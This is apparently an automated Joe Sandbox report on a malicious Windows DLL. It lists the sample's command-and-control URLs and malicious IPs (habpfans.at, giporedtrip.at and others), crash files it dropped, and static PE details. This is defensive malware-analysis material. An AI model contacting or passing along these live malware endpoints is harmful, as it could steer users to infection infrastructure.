http://31.214.157.187/drew/n9Q8SXORQfxecr/MW5_2Fu9_2Bgocr6670ju/D1JJTVEHrWL1TxqL/xGoJ_2FQlD36_2B/GkPBzrjzE3l7JBLY9O/1EFPlHsMW/m5HxfuFe9CAmeE3Sv9mV/WruJ_2B6bq6RWMaARg5/48WJvcYD9cWVaImnFjKYnp/qqfI438hlaFuV/Cz10Llo3/y28DCtREPMb5OZnUZKj2hAx/fvbD6E0k2X/xMHWSCI5symguz2Bp/FnCO_2F0QOq8/vwhEVJIxW/5.jlk	true	Avira URL Cloud: safe	unknown
http://habpfans.at/drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/VN2ToaIYsZPU/kI1do_2B9jW/Q9gfyv85CoHPvT/SnqcLw3TTcQW61PNrLWiv/_2BkKhdRaMJkT9HD/82Fg3tERnOrn6Yg/fT2SNRr4ih8M1B9lEq/WIX8riitn/8yNrCBKJNgpm3khA4gSx/B8X3zDAJaQCYV1F4k99/jQHMcxYL/Il8wT6lWu/Ih.jlk	true	Avira URL Cloud: malware	unknown
http://giporedtrip.at/drew/vDXEGqf4EaI6e/GBZCusNA/wGFZ17UZEew5_2F3lztpfux/SlqAMrP7W1/XBD36Fnf1Eq7wA6HD/bZQhlGWv2oMx/02wZPYg1S9_/2FsBPVVzIGiliu/ZgesoO3_2BU1Itp9mWBBQ/zS9Fa06G7Ifi1Qdi/yVB_2BRlu8Zp_2B/LJtKQv4YtcqH6IAzxR/L6Ho0ZvfB/evXUKtmzU_2B4Fe1cs5B/1wJA25jdSjnKCVAyqP7/xAdhGKLVvM/CvkvXIJYGs/9.jlk	true	Avira URL Cloud: malware	unknown
http://194.76.226.200/drew/ozC7eSUmzahvYkYKrp/EnTXsLZQu/ZxwfzvyOea6Ms_2FcWiK/QVPuXmRecwMBmPtS2pP/K1YuqB0TTP3PJ7dc3csdFA/1Ac_2BGJ3ahfL/ClNkrX58/ZDofYbeDbIVvrUisO8PwbQv/pc3vAH6GWF/x_2B4_2BbH_2B0wxz/YCHkmZmDbaCX/aMf9JRtYupc/_2Ben2gyoQcqJb/gP1jDokjfsnRCuX4LwXIc/R6CnFb_2FUwS1dKT/G7Z9QUvFXshW5HS/y.jlk	true	Avira URL Cloud: safe	unknown
http://194.76.226.200/drew/t4UXVVFvbg_2F3LXo8gXBT/1icGJdsG14mTA/YOVrBwZF/xARqsNBXczJePkKt2X6ww_2/BWmoPwSUrF/dMkwNYvCaezjn8JBl/H0ytvGxBbW3l/zR2N_2BHrz_/2FvsAN_2FRzTTC/lSSKBusA2w75D7HkZKGJs/DACOMqt0XK0wSfc5/bo0iFsZeiFg2i2l/JDzyY2V7hheHpK0ocJ/ZgcshLwb0/jlOmaQmjqFbHJJo3m7Pt/o4K7mLse1jm/1K47Z.jlk	true	Avira URL Cloud: safe	unknown
http://31.214.157.187/drew/XdSo6qg_2FEgYysST/WOvXNJFccrJx/zVwG0bEZwA1/FgOrwJqVq8qQMt/gJKBdkHK_2BRbM8cGXljg/dR5mjLhLFYJj3437/sCPrzkqYN8vu4UK/Lv8bHqBMBEjz1n4JUX/xuOm6McxD/U7cQGMW7Bxk_2BVYpR1Y/2dwD1RGZgWHtptGZcjA/6KkSFpd8oqg4xHg9j8CKKi/XQJvRiHHSuj0_/2BwWvoV7/60l_2BahFJ3qIHK1CvN87c7/jOCSFwu.jlk	true	Avira URL Cloud: safe	unknown
http://giporedtrip.at/drew/CNAO_2FMqt2bQnnFTS9A/gZCx4lwGHYQjpKz_2Bo/eC3Q_2B6RQnBEorg_2FJk6/uEN67LHG_2FS5/_2BBd1X9/aVPauq0optO45rzbpdCQm0T/aYIRRNsEBo/KjgLaOYvR_2BgwzfQ/25S5OlQYXnss/XWKrlvnyLdL/zvJbW2nKGtMp_2/BhAqVJaOXmJzkoWYA4_2B/1sUQfL4pghiYPQ_2/Bk4zNXCpOm9uy6W/_2FwvvWoJCQywtXfuj/zSz8jbk7z4_2FaKsy/ujc.jlk	true	Avira URL Cloud: malware	unknown
http://habpfans.at/drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/wLkUkA7sRnm/cso3yuTSujNtgI/CMmvYVa7e4KaoltzEmBTc/sgUl10rzE9jSORq1/rqqMvEmtzS52b3S/MwqSqUIn0qJ41lN07l/ltNVceIDT/qjCtCMmp_2FbkkqAoDDI/2nZPBTOmmpjaMrj1ust/QMCPjE0wKPGXBQrFS0WE_2/B3SVbiens/K.jlk	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.dhtmlcentral.com/forums/forum.asp?FORUM_ID=2&CAT_ID=1&Forum_Title=CoolMenus	loaddll32.exe, 00000000.00000002.775782547.0000000000773000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000003.00000002.315631404.0000000000E83000.00000002.00000001.01000000.00000003.sdmp, hFGZpat9Mf.dll	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://habpfans.at/	loaddll32.exe, 00000000.00000003.750126035.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000002.777131845.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.438896118.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.773036185.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://habpfans.at/drew/5tHE_2Fl/pXBoYLIb7sXj6_2FbgEdP7S/1g8RiyhGmo/7FzHWL9Gm5Pao_2Bw/5oh73gE4juwn/w	loaddll32.exe, 00000000.00000003.439117348.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.438919060.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.7.dr	false		high
http://31.214.157.187/drew/XdSo6qg_2FEgYysST/WOvXNJFccrJx/zVwG0bEZwA1/FgOrwJqVq8qQMt/gJKBdkHK_2BRbM8	loaddll32.exe, 00000000.00000002.777186188.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.772898305.0000000000AB4000.00000004.00000020.00020000.00000000.sdmp, loaddll32.exe, 00000000.00000003.750136886.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.214.157.187/	loaddll32.exe, 00000000.00000003.750126035.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://habpfans.at/drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/	loaddll32.exe, 00000000.00000003.750136886.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://habpfans.at/g	loaddll32.exe, 00000000.00000003.750126035.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://194214.157.187/	loaddll32.exe, 00000000.00000003.750161784.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.dhtmlcentral.com/tutorial.asp	loaddll32.exe, 00000000.00000002.775782547.0000000000773000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000003.00000002.315631404.0000000000E83000.00000002.00000001.01000000.00000003.sdmp, hFGZpat9Mf.dll	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
181.129.180.251	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	true
41.41.255.235	habpfans.at	Egypt	8452	TE-ASTE-ASEG	true
211.119.84.112	giporedtrip.at	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
31.214.157.187	unknown	Germany	58329	RACKPLACEDE	true
61.36.14.230	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
194.76.226.200	unknown	Germany	39378	SERVINGADE	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	560543
Start date:	26.01.2022
Start time:	17:02:04
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 43s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	hFGZpat9Mf.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@6/6@4/7
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 94.6% (good quality ratio 93.1%) Quality average: 83.4% Quality standard deviation: 23.8%
HCA Information:	Successful, ratio: 94% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115, 13.107.42.16, 104.208.16.94, 13.107.43.16
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, config.edge.skype.com.trafficmanager.net, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, l-0007.config.skype.com, config-edge-skype.l-0007.l-msedge.net, l-0007.dc-msedge.net, blobcollector.events.data.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, l-0007.l-msedge.net, config.edge.skype.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:03:26	API Interceptor	12x Sleep call for process: loaddll32.exe modified
17:03:34	API Interceptor	1x Sleep call for process: WerFault.exe modified

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_319baef4101f2973dda1833cdb25524ddf68727_82810a17_11720b30\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9231380421791202
Encrypted:	false
SSDEEP:	192:dSiB0oXKHBUZMX4jed+tTN/u7slS274ItWc:civXiBUZMX4jeI5/u7slX4ItWc
MD5:	2E9E475BBF5C444FDD216D612789DF16
SHA1:	962AD3179B750CF580262E1907A21695CCCF95CA
SHA-256:	0064278D09AABB28FEDAF0249EA8CB8FE70CA1E041D4894DCF53040F05E19E31
SHA-512:	18EBA813F6A28E2B7751BD3001B4482C544F808182C859505F4FBFDC25EAAA2F687261D01906D9337561C1D8F0E8ACC7BD71C9A5A2211592E1F48E8D3637A661
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.7.7.1.8.9.9.3.2.8.3.8.8.0.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.7.7.1.9.0.1.2.5.8.0.7.2.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.d.3.8.9.6.b.0.-.5.3.f.3.-.4.c.c.7.-.8.1.1.7.-.7.c.f.5.a.2.3.c.6.8.1.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.e.b.9.5.e.c.-.d.e.6.2.-.4.7.8.9.-.9.a.2.7.-.4.9.f.7.3.2.8.d.6.c.a.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.c.8.-.0.0.0.1.-.0.0.1.6.-.2.4.9.8.-.9.3.a.3.1.9.1.3.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER410A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jan 27 01:03:17 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	50394
Entropy (8bit):	2.1230258138964713
Encrypted:	false
SSDEEP:	192:v7u7354xKvI2O5Skb+XKD74zz7hFK/dDBRvU0SF9Dq0Awi/Y4p:/oQB5Lb+XKIzz7hFadDBR8xFpq0Awi/
MD5:	E557B9E94120C75B30455B3AB7BB4F67
SHA1:	2816C199A296B247FADBC24CB7248059CC2AA728
SHA-256:	A0FB0FDB2F46849AE8FFCCB0F6830134282C4BEF5375EC4B3328CA9957E8FC78
SHA-512:	1B07B0D1CC742AB0398A7C0CF12C6A6D4AD57568006FC2B39D05E84E9B93F969C117C21CCF5CC366B21403FCE10D970DE56DAA1951B4037F3A93066D91297D33
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......U..a....................................d..../..........T.......8...........T...........@...............`...........L....................................................................U...........B..............GenuineIntelW...........T...........H..a.............................0..1...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5399.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8312
Entropy (8bit):	3.6976983898128415
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNips6rRf+Z46YBgah6TgmfTNSOCprR689bW4sfcSm:RrlsNiy6Ff246YBb6TgmfTNSHDWrfI
MD5:	1F0DCAF8CAD8216C2681E359FDB9FC32
SHA1:	F83B65FE0F97B36C53DEA67EF86D390C5F2E4874
SHA-256:	C48C34B58275C8586BA05F0DE058403E5D4BEF7A7489275B5971858A1B1B65DA
SHA-512:	3B02715FD729AA52FA2738D709F4B09EA244329D1CD8A1FAED420EE2A0A87085BE984ABD38EC3BDF61C2A0D0A5DFCA9640331E596FE7971D8009FF0C5E986BD9
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.2.7.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6656.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4670
Entropy (8bit):	4.493943117199789
Encrypted:	false
SSDEEP:	48:cvIwSD8zs8JgtWI9A2VWSC8BVs8fm8M4JCdszZFAV+q8/OD0yx4SrS1d:uITf632kSNXRJRUVt0iDW1d
MD5:	0126F95A901429A83B8D25CA87CD378F
SHA1:	B291C283CF80A9811F1EA5703267243116199DDD
SHA-256:	507F8842DAC1704D0AF596840F0F75862C0CEC375118DCBDC55ED85F1D39E175
SHA-512:	6D3D54EE263306831C43EB89F8246689251F0E293ABB94C3E5F63E658D95274E665B774CEB35CD1BB8A8E74F10FE749C0B5315E26085DC76BFC232DBED680EEC
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1359974" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.2638646695109035
Encrypted:	false
SSDEEP:	12288:MLR2cbZ/FPLJ86W9cwmTJw4qNsIbc65wppMcGFtz3OUkB8lA6LD6y7Rt:sR2cbZ/FPLJ86W9yqYKt
MD5:	35049590C5CC406E8B91A1B0B5092584
SHA1:	B8ACCA4CFDD281BC793D177261B5A769CAE049C3
SHA-256:	B84991E6386C563D75788B986DA5381F88A5EA41408DD98DA31B8E2C4755528A
SHA-512:	26800F9733BF8608CB4BF2C24592BDA4092458DC12E2B707C5503956015600540CF36114916E5696D997FDB72896332A3014664287BC26840D9D79B40F9CC19A
Malicious:	false
Reputation:	low
Preview:	regfQ...Q...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.....................................................................................................................................................................................................................................................................................................................................................e..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	3.8361821028758083
Encrypted:	false
SSDEEP:	384:Zwb5uZrdgdXX5gQp8XXLnxOf2oMPmxwp95GjZmGuADTTeW5N5oAR1V:mlcreXXZpigf2ovxwp3WmGuuTeSN51R1
MD5:	498211172CBFC34A13FD2E9630E30A11
SHA1:	7413547E9D96756DF22533A3E31E05F5996C75CC
SHA-256:	6B575ABA2719D1440DCAFECBA4C5FBA11673407180D636A18D597189984D0B21
SHA-512:	2E58314560305ECCCEFA4377EA207FC5B825E2B55E4F2AA1314355E89E44C2D2AFF62D830A82B8D3731E3650AC473C79E19A5A79C0F6DB0D71132481E69CAC90
Malicious:	false
Reputation:	low
Preview:	regfP...P...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.....................................................................................................................................................................................................................................................................................................................................................e..HvLE.^......P...............}JB...l..+\|.............................. ..hbin................p.\..,..........nk,..(..........X........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ..(.......... ...........P............... .......Z.......................Root........lf......Root....nk ..(.......................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.882756524717819
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 97.97% Win32 Executable Delphi generic (14689/80) 1.44% Win16/32 Executable Delphi generic (2074/23) 0.20% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20%
File name:	hFGZpat9Mf.dll
File size:	655360
MD5:	9acde2c3e3a375590a1bc716eabc52c5
SHA1:	e231c9ae802a9aad9916f08256f7558f531d54ce
SHA256:	57f997217db22a4d97700768189d44034303e3b15dc08fa48ed6b91bd7051c05
SHA512:	3c282a6dac4c1a655a6851ef7bcf9d336603614216f93e8bde031697118439081b113bb71473e2939b30225fa684d56d9dbc80bd888cc3312b167c7bef130946
SSDEEP:	12288:CxdKNJ2yElIM31TVlVPt0+JQjahIx9Q2oleUcUGHS:CwuyElIMlTzBt0Bp3seBU
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	b99988fcd4f66e0f

Static PE Info

General

Entrypoint:	0x46b448
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7f3476b35f56feee8663a4d549e47d9e

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFC4h
push ebx
mov eax, 0046B028h
call 00007F8E18CB1738h
push 0046BDF8h
call 00007F8E18CB1A8Ah
push 0046BDF8h
call 00007F8E18CB1A80h
push 0046BDF8h
call 00007F8E18CB1A76h
push 0046BDF8h
call 00007F8E18CB1A6Ch
push 0046BDF8h
call 00007F8E18CB1A62h
push 0046BDF8h
call 00007F8E18CB1A58h
push 0046BDF8h
call 00007F8E18CB1A4Eh
push 0046BDF8h
call 00007F8E18CB1A44h
push 0046BDF8h
call 00007F8E18CB1A3Ah
push 0046BDF8h
call 00007F8E18CB1A30h
push 0046BDF8h
call 00007F8E18CB1A26h
push 0046BDF8h
call 00007F8E18CB1A1Ch
push 0046BDF8h
call 00007F8E18CB1A12h
push 0046BDF8h
call 00007F8E18CB1A08h
push 0046BDF8h
call 00007F8E18CB19FEh
push 0046BDF8h
call 00007F8E18CB19F4h
push 0046BDF8h
call 00007F8E18CB19EAh
push 0046BDF8h
call 00007F8E18CB19E0h
push 0000BDF8h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x70000	0x2172	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7a000	0x29600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x73000	0x6e18	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x6ae04	0x6b000	False	0.529191917348	data	6.56713483483	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
DATA	0x6c000	0x2324	0x2400	False	0.465928819444	data	4.93971870671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
BSS	0x6f000	0xf55	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.idata	0x70000	0x2172	0x2200	False	0.365349264706	data	4.98625501899	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x73000	0x6e18	0x7000	False	0.615618024554	data	6.66070715654	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x7a000	0x29600	0x29600	False	0.458589029456	data	6.73870167703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x7bd68	0x134	data
RT_CURSOR	0x7be9c	0x134	data
RT_CURSOR	0x7bfd0	0x134	data
RT_CURSOR	0x7c104	0x134	data
RT_CURSOR	0x7c238	0x134	data
RT_CURSOR	0x7c36c	0x134	data
RT_CURSOR	0x7c4a0	0x134	data
RT_BITMAP	0x7c5d4	0x1d0	data
RT_BITMAP	0x7c7a4	0x1e4	data
RT_BITMAP	0x7c988	0x1d0	data
RT_BITMAP	0x7cb58	0x1d0	data
RT_BITMAP	0x7cd28	0x1d0	data
RT_BITMAP	0x7cef8	0x1d0	data
RT_BITMAP	0x7d0c8	0x1d0	data
RT_BITMAP	0x7d298	0x1d0	data
RT_BITMAP	0x7d468	0x1d0	data
RT_BITMAP	0x7d638	0x1d0	data
RT_BITMAP	0x7d808	0xe8	GLS_BINARY_LSB_FIRST
RT_ICON	0x7d8f0	0x2e8	dBase IV DBT of @.DBF, block length 512, next free block index 40, next free block 49, next used block 48059	English	United States
RT_DIALOG	0x7dbd8	0x52	data
RT_STRING	0x7dc2c	0x15c	data
RT_STRING	0x7dd88	0x3e4	data
RT_STRING	0x7e16c	0x340	data
RT_STRING	0x7e4ac	0x354	data
RT_STRING	0x7e800	0x230	data
RT_STRING	0x7ea30	0x1d4	data
RT_STRING	0x7ec04	0xec	data
RT_STRING	0x7ecf0	0x2fc	data
RT_STRING	0x7efec	0xd4	data
RT_STRING	0x7f0c0	0x110	data
RT_STRING	0x7f1d0	0x24c	data
RT_STRING	0x7f41c	0x3f8	data
RT_STRING	0x7f814	0x360	data
RT_STRING	0x7fb74	0x3e8	data
RT_STRING	0x7ff5c	0x234	data
RT_STRING	0x80190	0xec	data
RT_STRING	0x8027c	0x1b4	data
RT_STRING	0x80430	0x3e4	data
RT_STRING	0x80814	0x358	data
RT_STRING	0x80b6c	0x2b4	data
RT_RCDATA	0x80e20	0x10	data
RT_RCDATA	0x80e30	0x2fe	MS Windows icon resource - 1 icon, 32x32, 16 colors	Bulgarian	Bulgaria
RT_RCDATA	0x81130	0x104	GIF image data, version 89a, 22 x 22	Bulgarian	Bulgaria
